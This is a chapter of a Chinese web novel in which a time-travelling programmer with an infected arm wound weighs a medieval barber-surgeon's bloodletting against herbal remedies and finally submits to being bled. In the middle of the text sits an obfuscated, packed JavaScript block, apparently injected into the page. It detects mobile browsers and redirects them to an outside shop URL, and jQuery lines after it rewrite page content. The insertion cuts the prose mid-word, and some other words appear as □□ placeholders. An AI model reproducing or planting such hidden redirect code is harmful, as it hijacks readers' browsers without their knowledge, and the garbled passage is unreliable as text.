清晨的疼痛把林越从混乱的梦境里拽了出来。


    他先感觉到的是手腕——那道红痕烫得像刚烙上去。然后才是左臂传来的、钝刀子割肉般的疼。他躺在干草堆上没动，闭着眼睛缓了三秒，试图用程序员处理bug的思维来梳理现状：已知伤口昨天处理过，已知草药有效但有限，已知现在疼得不对劲。


    “已知条件不足，”他对自己说，“需要现场勘查。”


    睁开眼睛，慢慢坐起身。谷仓里光线昏暗，只有几缕阳光从木板缝隙漏进来。他小心翼翼地把左臂从破毯子里挪出来，卷起袖子。


    伤口比他预想的糟糕。


    昨天玛格丽特婆婆处理时，那道割伤只是红肿，边缘有些发炎。现在整个伤口周围肿起了一圈，皮肤绷得发亮，泛着不正常的暗红色。最中间的位置已经开始渗出黄白色的脓液，黏在包扎的布条上。他用手指隔空悬在伤口上方——热，明显的局部发热。


    “感染加重了。”林越得出结论，语气平静，冷静得不像在说自己的生死。


    但这平静只维持了五秒。因为他试着活动手指时，牵扯到的伤口疼得让他倒吸一口凉气。这种疼不是昨天的刺痛，是更深层的、持续的胀痛，像有什么东西在皮肉下面膨胀、发酵，急着要找出口。


    他放下袖子，开始清点现状。


    第一，伤口感染，程度中等偏重。第二，红痕还在发热——不对，是更烫了，烫得有点分心。第三，今天是进入中世纪世界的第……几天来着？他懒得算了。第四，也是最重要的一点：他只剩一道红痕了。死亡机会只剩一次。


    “风险等级：高。”林越对着空气说，然后开始穿鞋。


    灰石镇的早晨比昨天更压抑。


    林越走在石板路上，左手小心地垂在身侧，尽量不摆动。街道两旁的店铺大多关着门，偶尔开着的几家门口都摆着水桶——里面是浑浊的水，飘着些不明物体。两个妇人蹲在水桶边洗衣服，洗出来的水直接泼在街上。


    他看着那摊混着肥皂泡和污垢的水渗进石板缝，脑子里自动跳出风险评估：伤口感染状态下，接触脏水风险极高。结论：绕路。


    “但这里到处是脏水，”林越心想，“绕路只是心理安慰。”


    他继续往前走，经过一家面包店。店主是个胖胖的中年男人，正用黑乎乎的手把面包从炉子里取出来——没戴手套，指甲缝里是洗不掉的面粉和污垢。面包摆上柜台后，一个顾客伸手就拿，也没洗手。


    林越默默移开视线。前天他还觉得中世纪食品安全只是“要注意”，现在他觉得这是“要拼命”。用命换来的教训总是最深刻的——第一次死亡就是因为吃了不干净的肉汤。


    手腕上的红痕又烫了一下。林越在心里翻译：这是在提醒你，你只有一次犯错机会了。


    “知道了知道了，”林越在心里回应，“这次会谨慎。”


    但谨慎不等于安全。谨慎只是把死亡概率从90%降到70%——如果基数是一百次尝试，能多活三十次；但如果基数只有一次，那降下来的20%概率毫无意义。


    他走到镇中心广场，看见了汉斯的理发店兼诊所。


    店面不大，木招牌上画着理发师标志性的红白条纹柱——但在柱子旁边，还画了把放血用的小刀，刀尖向下滴着红色的……大概是血。很直白的广告，直白得让人不安。


    店门开着，能看见里面有人影晃动。林越在门口停了三秒，做了个深呼吸。


    “进去之前，”他对自己说，“明确目标：一，确认感染程度；二，获取治疗方案信息；三，评估风险；四，活着出来。”


    然后他走了进去。


    店里的味道比外面复杂十倍。


    首先是汗味——很多人的汗味，混合在一起形成一种厚重的、黏糊糊的空气质感。然后是草药味，但不是玛格丽特婆婆那种清新的草药香，是种发苦的、混着霉味的味道，像放久了的药材。最浓烈的是酒精味——或者说是某种劣质酒的味道，刺鼻，辣眼睛。


    林越站在门口适应了几秒，才看清店里的布局。


    左边是理发区：一张高背椅，一面模糊的铜镜，架子上摆着剃刀、剪刀、梳子。右边是“医疗区”：另一张椅子，但这张椅子扶手上有皮质的束缚带，旁边的小推车上摆着各种金属工具——放血刀、拔罐器、烙铁（？）、还有一堆形状诡异的钳子和探针。


    推车边缘搭着块布，布的颜色已经从白变成了一种说不清的灰黄色，上面沾着深色的污渍。林越盯着那块布看了两秒，决定今天无论如何不碰那张椅子。


    “哦！客人！”


    汉斯从里屋走出来，手里端着个木盆。他还是那身打扮：皮围裙，袖子挽到手肘，露出粗壮的前臂。脸上带着职业性的笑容，但笑容底下是种疲惫——眼袋很重，眼睛里有些血丝。


    “是昨天的……”汉斯眯着眼睛辨认，“啊！那个手臂受伤的年轻人！怎么样，伤口好些了吗？”


    林越举起左臂：“不太好。肿了，发热，有脓。”


    “让我看看。”汉斯放下木盆，在围裙上擦了擦手——围裙本身也不怎么干净。


    林越犹豫了一秒，解开布条。伤口暴露在空气中，脓液的味道混进店里已有的复杂气味里。汉斯凑近观察，眉头皱起来。


    “麻烦了，”他说，“感染加重了。这是坏血在体内积聚的征兆——□□失衡了。”


    来了，又是四□□说。林越在心里叹了口气，但脸上保持平静：“所以该怎么治？”


    “放血。”汉斯说得理所当然，语气轻松得不像在讨论一个可能致命的手术，“必须把多余的坏血放出来，让□□恢复平衡。否则炎症会扩散，你会发烧，然后……”他没说完，但做了个割喉的手势。


    林越看着汉斯手里那套工具：放血刀刀刃闪着冷光，刀柄上沾着暗红色的污垢。旁边的碗里还残留着些深色液体——大概是上次放血留下的，没洗干净。


    他脑子里快速过了一遍已知信息：


    已知一：放血疗法在中世纪被广泛接受，但从现代医学看，对感染患者放血等于加速死亡——失血导致免疫力下降，感染扩散更快。


    已知二：汉斯是“专业人士”，在他的认知体系里，这是唯一正确的方法。


    已知三：直接拒绝可能引发冲突，或者被强行治疗。


    已知四：他只剩一次死亡机会。


    结论：需要策略性拒绝。


    “我……”林越开口，声音有点干，“我有晕血症。看见血会晕倒。”


    汉斯愣了一下，显然没料到这个理由。他打量林越几眼：“晕血？那更要放血了！这是上帝在提醒你体内血液过剩，需要——”


    “还有家族遗传的血液稀薄症，”林越继续编，表情尽量诚恳，“我祖父，我父亲，都是因为放血过多去世的。医生说我们家族的人血量比正常人少三分之一。”


    这个理由更具体，更“医学”。汉斯被唬住了，他摸着下巴思考：“血液稀薄……这倒是个问题。但如果坏血不排出来……”


    “有没有其他方法？”林越适时引导，“比如外敷药？或者口服的？”


    汉斯摇头：“外敷药只能治表，治不了本。真正的治疗必须从内部调节□□平衡。”他停顿一下，眼睛亮起来，“不过……如果你实在怕放血，我可以先用拔罐法把坏血吸到皮肤表层，然后再用烙铁把毒血烙出来！”


    林越看着推车上那个烙铁头——铁制的，尖端发黑，不知道烙过多少人的皮肤。他脑子里浮现出烧红的烙铁按在伤口上的画面，还有伴随而来的焦糊味和惨叫声。


    “那个……”他后退半步，“我可能对高温金属过敏。”


    “过敏？”汉斯没听懂这个词。


    “就是接触高温金属会全身起疹子，呼吸困难，可能会死。”林越解释得尽量可怕。


    汉斯的表情从困惑变成同情：“可怜的孩子，这么多毛病。但你的感染必须治，不然……”


    “我先回去想想，”林越开始往门口挪，“考虑一下哪个方案风险更小。明天，明天再来。”


    “明天可能就晚了！”汉斯提高声音，“感染扩散到全身，放血都救不了你！”


    林越已经退到门口：“我会尽快决定的。谢谢医生。”


    然后他转身，几乎是跑着离开了理发店。


    跑到下一个街角，林越才停下来，靠在墙上喘气。


    左臂的伤口因为刚才的跑动开始抽痛，一阵一阵的，像有东西在里面搅。他低头看了眼手腕——红痕烫得更厉害了，热度比之前更强烈，明显是在回应刚才的危险接触。


    “知道危险，”林越对着红痕说，“但总比真的被放血强。”


    他缓了几口气，开始思考下一步。


    汉斯的路基本堵死了。那个理发师兼医生脑子里只有“放血”和“烙铁”两个选项，而且坚信不疑。跟这种人讲现代医学理论？别开玩笑了，他只会觉得你在亵渎上帝制定的□□法则。


    那剩下的选择只有玛格丽特婆婆了。


    林越转向去往镇外的路。婆婆的木屋在灰石镇边缘，靠近树林，要走一段土路。路上他经过一片墓地——新挖的坟坑比昨天多了好几个，有些坑边还扔着没烧完的裹尸布。


    瘟疫在蔓延。这个认知沉甸甸地压在胸口。


    第一次死亡是因为食物中毒，第二次是因为鼠疫感染，第三次会不会因为医疗事故？如果真有“死亡方式收集成就”，他大概已经完成中世纪章节的三分之二了。


    走到婆婆的木屋时，太阳已经升得老高。木屋门开着，能看见里面炉火的光。


    林越在门口停了一下，整理表情，然后敲门。


    “进来。”婆婆的声音从里面传来。


    他走进去。屋里还是那股熟悉的草药味，但今天混进了更多苦涩的味道。婆婆坐在炉边的小凳子上，面前摆着个石臼，正在捣什么草药。她抬头看见林越，视线落在他左臂上。


    “伤口恶化了？”她问，没等回答就放下石臼站起来，“过来我看看。”


    林越走过去，坐下，伸出左臂。婆婆的动作比汉斯轻柔得多——她先用温水浸湿布条，慢慢揭开，避免撕扯伤口。看见伤口状况时，她皱起眉头。


    “化脓了，”她说，“感染比昨天重。你昨晚发烧了吗？”


    “有点，但不确定是伤口引起的还是……”林越没说完，但婆婆懂了。


    “瘟疫在扩散，空气里都是病气，”她低声说，转身去药柜取东西，“但你这个是伤口感染，不是瘟疫。治疗方向不一样。”


    她取来几样草药：金盏花、薰衣草、还有林越认不出的某种绿叶植物。婆婆把它们混合捣碎，加了一点点蜂蜜调成糊状，然后敷在伤口上。草药糊接触皮肤的瞬间，有种清凉感，暂时压住了胀痛。


    “这些草药能消炎，促进伤口愈合，”婆婆一边包扎一边说，“但效果有限。如果感染已经深入，外敷药可能救不了你。”


    林越的心沉了一下：“那该怎么办？”


    婆婆沉默了几秒，手上的动作没停。布条缠好，打结，然后她才开口：“如果是我年轻时候，会建议你找真正的医生——不是汉斯那种，是懂草药、懂人体、不迷信放血的医生。但现在……”


    她摇摇头，没说完。但林越听懂了：现在这样的医生要么死了，要么逃了，要么被教会当成异端烧了。


    “汉斯建议放血，”林越说，“说这是唯一方法。”


    婆婆的手顿了一下。她抬头看林越，眼神复杂：“放血……有些人放了血就好了，更多人放了血就死了。我丈夫三十年前因为发烧被放血，放完第二天就没了。汉斯说我丈夫体内坏血太多，放血也救不了。但我知道不是那样。”


    她的话很轻，但每个字都沉甸甸的。


    林越看着她，这位老妇人脸上满是皱纹，眼睛里是几十年积累的疲惫和无奈。她知道放血危险，知道汉斯的疗法可能致命，但她无能为力——在这个时代，质疑“医生”就是质疑权威，质疑权威可能招来更可怕的后果。


    “谢谢您，”林越说，声音有点哑，“至少您给了我一个选择。”


    婆婆点点头，回到炉边继续捣草药。林越站起来，从口袋里掏出几枚铜币——这是他昨天帮人搬东西挣的。他放在桌上，婆婆没推辞，只是说了句“小心点”。


    离开木屋时，阳光刺眼。林越站在门口，看着自己的影子投在土路上，短短一截。


    手腕上的红痕还在发热。伤口敷了药，暂时清凉，但胀痛感已经开始从边缘渗透回来。他知道婆婆的草药治标不治本，知道汉斯的疗法是送死，知道感染在加重，时间在流逝。


    知道一切，但不知道该怎么办。


    这种知道却无能为力的感觉，比单纯的疼痛更折磨人。林越深吸一口气，转身往旅店走。


    至少，他还有一晚上时间思考。


    至少，他还活着。


    旅店房间比谷仓好不了多少，但至少有张真正的床——如果一块硬木板加层薄草垫能算床的话。


    林越躺上去，盯着天花板上的裂缝。左臂的伤口又开始疼了，草药的效果在减退。他抬手看手腕，红痕在昏暗的光线下泛着暗红色的光，热度持续不断，像皮肤下埋了块永远不凉的火炭。


    “二十四小时客服热线，”林越对着红痕说，“可惜只能提醒问题，不能解决问题。”


    他闭上眼睛，尝试用系统思维分析现状。


    选项A：找汉斯放血。风险评估：高。成功概率：基于历史数据，感染患者放血存活率低于30%。失败后果：失血过多，免疫力下降，感染扩散，死亡。


    选项B：用婆婆的草药。风险评估：中。成功概率：外敷草药对浅表感染有效，对深层感染效果有限。失败后果：感染继续恶化，引发败血症，死亡。


    选项C：自我护理。风险评估：未知。方法：清洁伤口、保持休息、补充营养。成功概率：依赖感染程度和个人免疫力。失败后果：同B。


    选项D：等待奇迹。风险评估：极高。成功概率：接近零。失败后果：死亡。


    “四个选项，三个指向死亡，”林越睁开眼睛，“这选择题出得不太友好。”


    他坐起身，从背包里翻出笔记本——那本用羊皮纸和粗糙线装订的本子，上面记录着他在这个世界的观察和总结。翻到医疗相关的那几页，上面是歪歪扭扭的字迹：


    《医


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220265|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疗补充条例》


    所有医疗决策前，必须确认治疗者资质（御医>草药师>理发师医生）。


    所有草药使用前，必须自行辨认或找可靠者辨认。


    放血、催吐、泻药等激进疗法，一律拒绝。


    小伤小病自行处理，重伤大病……做好死亡准备。


    他看着第四条的最后几个字：“做好死亡准备”。


    昨天写下这句话时，他还觉得这是“极端情况下的应急预案”。现在这成了“即将面对的现实”。伤口感染算小伤还是大病？从现代医学看，有抗生素的话是小伤；从中世纪医疗看，可能就是大病——足以要命的那种。


    窗外传来钟声，急促而杂乱。不是整点报时，是丧钟。又有人死了，可能是瘟疫，可能是其他病，也可能……是医疗事故。


    林越放下笔记本，走到窗边。灰石镇的街道在暮色中显得更灰暗了，几个行人匆匆走过，都用布蒙着脸。远处教堂门口聚集着一群人，中间是个盖着白布的担架。


    他看着那场景，脑子里突然冒出个念头：如果他现在死了，也会有人把他抬到教堂门口吗？也会有人为他敲丧钟吗？然后他的身体会被埋进那片越来越拥挤的墓地，成为瘟疫统计数字里的一个“+1”。


    手腕上的红痕烫了一下，把他从胡思乱想中拉回来。


    “不想死，”林越对自己说，声音很轻但很坚定，“至少不能因为这种荒诞的原因死。”


    他回到床边，开始实施选项C：自我护理。


    先清洁。他从水壶里倒出一点水——是烧开过的，这是他进入中世纪世界后养成的少数好习惯之一。用相对干净的布蘸水，慢慢擦拭伤口周围。脓液已经又渗出来一些，混着血丝，味道不好闻。他尽量动作轻柔，但每次触碰还是疼得咬牙。


    然后重新包扎。没有新的草药，就用干净的布条——也是他特意准备的，煮过晒干。布条缠上去时，他能感觉到伤口在发热，那种深层的、不祥的热。


    做完这些，他已经出了一身冷汗。不是因为累，是因为疼，也因为那种“我在做正确的事但可能毫无用处”的无力感。


    他躺回床上，闭上眼睛休息。但大脑停不下来，一直在循环播放今天的场景：汉斯那张自信的脸，婆婆无奈的眼神，放血刀上的污垢，烙铁的黑尖，墓地的坟坑，教堂的丧钟……


    还有手腕上持续不断的热度。


    “如果这就是第三次死亡的前奏，”林越想，“那前奏也太长了点。”


    他不知道自己什么时候睡着的。只记得最后意识里是红痕的热度，像永不熄灭的警告灯。


    半夜，林越被高烧烧醒了。


    不是慢慢升温，是突然的、剧烈的热，从体内爆发出来，瞬间席卷全身。他睁开眼睛，视野模糊，房间在旋转。伸手摸额头——烫得吓人。左臂的伤口更是像着了火，一跳一跳地疼。


    他想坐起来，但身体不听使唤。尝试了三次，才勉强撑起上半身，靠在墙上喘气。


    呼吸是热的，吸进去的空气在肺里都感觉烫。心跳快得异常，砰砰砰敲着胸口。他知道这是感染扩散的征兆——细菌进入血液，引发全身性炎症反应。在中世纪，这叫“血毒症”或“坏血症”，死亡率极高。


    “选项B失败，”林越对自己说，声音沙哑，“草药压不住了。”


    他看向手腕。红痕在黑暗中发着微光，不是视觉上的光，是某种……感知上的光。而且热度达到了新的高度，烫得皮肤发疼。这不是警告了，这是最后通牒。


    “知道了，”他说，“时间到了。”


    窗外还是黑的，离天亮还有几个小时。但他等不到天亮了。高烧在快速消耗体力，意识开始模糊。他能感觉到身体在失控，像台过热的机器，各个部件都在报警。


    他躺回去，盯着天花板。现在只剩下两个选项：等死，或者赌一把。


    等死很容易，什么都不用做，让高烧和感染完成工作。几小时或一天后，他就会成为教堂门口的另一个白布担架。


    赌一把……赌什么？赌汉斯的放血疗法真的有用？赌那30%的存活概率？赌自己不是那70%？


    林越闭上眼睛。脑海里浮现出汉斯那张脸，还有他说的话：“明天可能就晚了！感染扩散到全身，放血都救不了你！”


    也许汉斯是对的。也许在这个医疗水平下，放血真的是唯一的选择。也许那些活下来的人不是运气好，而是这种方法……真的对某些人有效。


    也许。


    他睁开眼，挣扎着坐起来。动作很慢，每个关节都在抗议。高烧让思维变得黏稠，但有个念头越来越清晰：他不想死，至少不想这么死。不想因为一个小伤口感染，死在无人知晓的旅店房间里。


    “就算要死，”林越对自己说，“也得死得明白点。”


    他下床，腿软得差点跪倒。扶着墙站稳，一步一步挪到门口。开门，走廊里漆黑一片。他扶着墙往前走，楼梯在走廊尽头。


    下楼时差点摔下去，好在抓住了栏杆。旅店大堂空无一人，守夜人不知道去哪了。门没锁，他推开门，走进灰石镇的夜晚。


    街道上空荡荡的，月光把石板路照得惨白。风很冷，吹在高烧的身体上，反而有种诡异的舒适感。林越扶着墙往前走，左臂垂在身侧，已经疼到麻木。


    他要去汉斯的诊所。这是他现在唯一能想到的路。


    路上经过教堂，门口的白布担架还在，但没人看守。经过那片墓地，新坟在月光下像一个个土包。经过玛格丽特婆婆的木屋，窗户黑着，婆婆应该睡了。


    最后到达汉斯的店。门关着，但里面有光——汉斯还没睡。


    林越抬手敲门。手在抖，敲得很轻，但在寂静的夜里还是很响。


    几秒后，门开了。汉斯举着蜡烛站在门口，看见是林越，表情从困惑变成惊讶再变成“我就知道”。


    “你来了，”汉斯说，侧身让开，“进来吧。我就说你撑不到明天。”


    林越走进去，烛光在眼里跳动。汉斯关上门，扶他在医疗椅上坐下。椅子很硬，皮革冰冷。


    “高烧了？”汉斯伸手摸林越额头，“嗯，很烫。感染扩散了。现在放血风险更大，但……还有机会。”


    林越看着他准备工具：放血刀在烛光下反光，碗放在旁边，布条准备好。汉斯的动作很熟练，像做过无数次。


    “会疼吗？”林越问，声音哑得自己都认不出来。


    “一下就好，”汉斯说，“然后你会觉得轻松些。”


    林越看着手腕上的红痕。它还在发光，还在发热，但热度似乎……在减弱？还是他的感知已经混乱了？


    汉斯绑住他的上臂，找到血管，酒精擦拭——酒精刺鼻的味道冲进鼻腔。放血刀举起来，刀尖对准皮肤。


    “放松，”汉斯说，“很快就结束了。”


    林越闭上眼睛。


    最后的念头是：这大概就是第三次死亡了。


    刀尖刺入皮肤。


    疼，但比想象中轻。然后是温热的液体流出来，滴进碗里。滴答，滴答，滴答……


    意识开始模糊。


    手腕上的红痕，最后闪了一下。


    然后彻底暗了。